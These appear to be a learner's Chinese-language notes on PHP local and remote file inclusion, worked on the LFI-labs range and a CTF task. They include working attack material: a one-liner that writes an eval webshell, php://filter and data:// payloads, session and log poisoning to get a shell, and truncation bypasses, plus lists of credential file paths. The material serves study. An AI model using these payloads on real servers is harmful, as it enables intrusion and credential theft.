文件包含 & LFI-labs靶场
阅读原文时间:2023年07月08日阅读:3

文件包含漏洞学习

冲冲冲,好好学习 2020.1.30 认真对待自己做出的每一个决定

Q:什么是文件包含?

A:简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,

直接使用包含文件的代码。

Q:文件包含漏洞的成因是什么?

A:在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,

用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。

include:

include_once:遇到重复我文件,只包含一次

require:

require_once: 遇到重复我文件,只包含一次

highlight_file、show_source、readfile、file_get_contents、fopen、file (读取文件)

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

  1. 本地文件包含
  2. 远程文件包含

两个配置文件

allow_url_fopen:为ON时,能读取远程文件,例如file_get_contents()就能读远程文件

allow_url_include:为ON时,就可使用include和require等方式包含远程文件

常见的敏感信息路径

Windows系统

c:\boot.ini #查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml # IIS配置文件

c:\windows\repair\sam # 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini # MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD # MySQL root密码

c:\windows\php.ini # php 配置信息

Linux/Unix系统

/etc/passwd # 账户信息

/etc/shadow # 账户密码文件

/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置

/usr/local/app/php5/lib/php.ini # PHP相关配置

/etc/httpd/conf/httpd.conf # Apache配置文件

/etc/my.conf # mysql 配置文件

php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法如下:

?filename=php://filter/convert.base64-encode/resource=xxx.php

?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);?>

第一个参数:resource=<要过滤的数据流> 其实可以理解成文件名。

Example #2 php://filter/resource=<待过滤的数据流>

这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。

Example #3 php://filter/read=<读链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

Example #4 php://filter/write=<写链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

Example #5 php://memory 和 php://temp 是一次性的

php://memory 和 php://temp 是一次性的,比如:stream 流关闭后,就无法再次得到以前的内容了。

应用题:?file=php://filter/read=convert.base64-encode/resource=flag.php

这是CTF里的一道题,先看看源码是什么,发现个 链接到另一个文件 ?file=flag.php ,这时候不如把两个PHP文件的源码读出来看,

?file=php://filter/read=convert.base64-encode/resource=…..

把resource=后面的 用base64编码读出来

再用bp解码

成功得 flag 。

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过,因为php伪 也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

通过input获取webs hell

写入一句话木马<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

再上菜刀搞定。

用 fputs()函数写入,下面两个函数具体用法可以去查查。

测试代码:

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

使用要指定绝对路径。

利用方式一般有两种(注意一些小细节:区分符号)

下面以打开phpinfo为例。注意,下面黄色的斜杠//是可以省略的,因为在语法上都是对的。

  1. 直接写入代码:

    格式:data://text/plain,

    例:http://127.0.0.1:10004/php/php_data.php?file=data://text/plain,<?php phpinfo(); ?>

  2. 使用base64编码:

    格式:data://text/plain;base64,编码后的php代码

    例:(前面的内容省略)?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

    有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[hacker])?>');?>

思路就是:用fputs()函数写入一句话木马(shell.php) ——> URL访问该木马文件看有无返回404,无,则应该上传成功 ——> 上菜刀

  1. 00截断:系统在读取遇到 00 就会认为这是结束标志而停止读取,有 %00截断和0x00截断。
  2. 长度截断( windows最大读取长度是256; linux 最大读取长度4096 )
  3. 包含日志文件:有些文件会保存在日志里,如 URL,时间,… ,假如在URL里面加入一句话木马,就可利用日志搞事情了。
  4. 包含session:

细讲:

session文件包含漏洞

利用条件:

session的存储位置可以获取。

  1. 通过phpinfo的信息可以获取到session的存储位置。

    通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

  2. 通过猜测默认的session存放位置进行尝试。

    如linux下默认存储在/var/lib/php/session目录下:

    session中的内容可以被控制,传入恶意代码。

示例:

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

在LFI-3出现了个PHP函数:file_get_contents() 函数

定义和用法:

file_get_contents() 把整个文件读入一个字符串中。它只是读取文件,而不执行。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

语法:file_get_contents(path,include_path,context,start,max_length)

参数 描述

path 必需。规定要读取的文件。

include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。

context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。

start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。

max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

介绍个函数:addslashes() 就像是在SQL注入里的把 union 和select 替换成空一样的解决思路, 在中间再插入 ununionion

定义和用法

addslashes() 函数返回在预定义的字符前添加 \ (反斜杠)的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。

注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

语法:addslashes(string)

参数:string (必须的参数)

PHP版本4+使用 。

返回值:返回已转义的字符串。

第一类是 GET方式的:

Include($_GET[‘hacker’]);

第二类是 POST方式的:

Include($_POST[‘hacker’]);

火狐浏览器的HackBar的地址栏只能使出get类型的参数:

注意,URL最后一定要以斜杠结尾 / ,上图的URL就不对了,应该是

GET类型的参数是直接出现在URL里面的,而POST类型的参数就要在这里用了:

POST 类型,不能直接上菜刀,要先写入一句话木马,再文件包含。

第二种利用方式:利用文件包含日志获取shell

要知道,这都是默认的路径,是在很理想的环境下才能遇到的。在陌生环境是很难猜到日志文件的路径的,而且遇上有较强安全意识的管理员就更难了。

先介绍日志默路径:

(1)Apache+linux 日志默认路径

/etc/http/logs/access_log

or

/var/log/http/access_log

(2)Apache+win2003日志默路径

D:\xampp\apache\logs\access.log

D:\xampp\apache\logs\error.log

(3)IIS6.0+2003默认日志文件

C:\WINDOWS\system32\Logfiles

(4)IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

(5)nginx日志文件

日志文件在用户安装logs目录下

例如:/usr/local/nginx

那对应的日志目录就在/usr/local/nginx/logs 里

例子:现在本机的phpstudy的apache的日志文件目录如下:

C:\phpStudy\PHPTutorial\Apache\logs\error.log

要获取webshell的话,就必须要有一句话木马之类的,所以要先把一句话木马写进日志文件里。

Attention:当我们进入了日志文件之后,执行了这个

URL:http://127.0.0.1:10003/LFI-1/?page=C:\phpStudy\PHPTutorial\Apache\logs\error.log

之后,当前位置就在日志文件里了,再

再次访问日志文件:

就会看到,phpinfo.php已经别写进去了日志文件里,但是发现它并没有执行,PHPinfo的页面也没有显示出来,因为写进去的代码被浏览器进过了 默认的URL编码。那要怎么解决呢,想要达到的目的是,把不经过编码直接写代码进去---用bp改包。 因为bp能绕过浏览器的URL默认编码。

首先访问日志,再把URL改一下,改一下(如上图),然后开启bp抓包,再用改完后的URL刷新网页,

抓到这个包,把phpinfo代码加进去,然后send ,完成。没经过URL编码的代码就写进日志文件里了。

关闭抓包代理,再次访问日志文件:

看到,phpinfo()代码执行了就显示出来了。

同理的,phpinfo能写进去执行,那一句话木马也应该能写进去的吧,来试一下:

把一句话木马写进了日志文件,再拿访问日志文件的URL,丄菜刀。

成功。整个的思路就是这样子.

当 php5.3(应该是5.3)之后的版本,%00 截断就用不了了。那我们可以用另一个方法来替代 %00截断——win/Linux 的特性。

上图:

这里后面会加 .html 导致无法正常执行输入的代码,那就利用win/Linux的读取长度限制,include输入的是文件名,系统读取文件名有长度限制,win下最大长度 256 ,Linux则是4096 ,且win下的文件名是不能使用这些字符的,或者使用点号 . (文件名后缀后面的点号会被自动过滤掉),但是他们也是占着长度的。那就可以在输入page=文件名 在后面不上几百个 点号 . 或者 ./ 也行 然后 后面的 .html 就会超过长度被丢弃掉而不起作用了。

在Linux里就用 点号 . 长度超过4096 就行。

完结。2020.2.13 Bitores